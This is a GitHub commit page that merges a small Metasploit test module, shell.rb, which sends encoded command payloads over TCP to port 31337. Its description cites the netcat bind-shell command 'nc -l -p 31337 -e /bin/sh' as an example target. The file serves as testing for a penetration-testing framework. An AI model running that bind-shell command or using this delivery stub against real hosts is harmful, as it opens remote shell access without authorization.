Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse files

Merge branch 'test-cmd-payloads' of https://github.com/jlee-r7/metasp…

…loit-framework into jlee-r7-test-cmd-payloads
  • Loading branch information...
commit 91fa163380d93c525bcd6dba3ff698b33051ce99 2 parents af8cb03 + 2b8024d
@sinn3r sinn3r authored
Showing with 60 additions and 0 deletions.
  1. +60 −0 test/modules/exploits/test/shell.rb
View
60 test/modules/exploits/test/shell.rb
@@ -0,0 +1,60 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ManualRanking
+
+ include Msf::Exploit::Remote::Tcp
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Command Test',
+ 'Description' => %q{
+ This module tests cmd payloads by targeting (for example) a server
+ like: nc -l -p 31337 -e /bin/sh
+ },
+ 'Author' => 'egypt',
+ 'Version' => '$Revision$',
+ 'References' => [ ],
+ 'DefaultOptions' => { },
+ 'Payload' =>
+ {
+ },
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Targets' =>
+ [
+ [ 'Automatic Targeting', { } ],
+ ],
+ 'DefaultTarget' => 0
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(31337),
+ ], self.class)
+ end
+
+ def autofilter
+ false
+ end
+
+ def exploit
+ connect
+
+ sock.put(payload.encoded + "\n")
+
+ handler
+ end
+
+end
Please sign in to comment.
Something went wrong with that request. Please try again.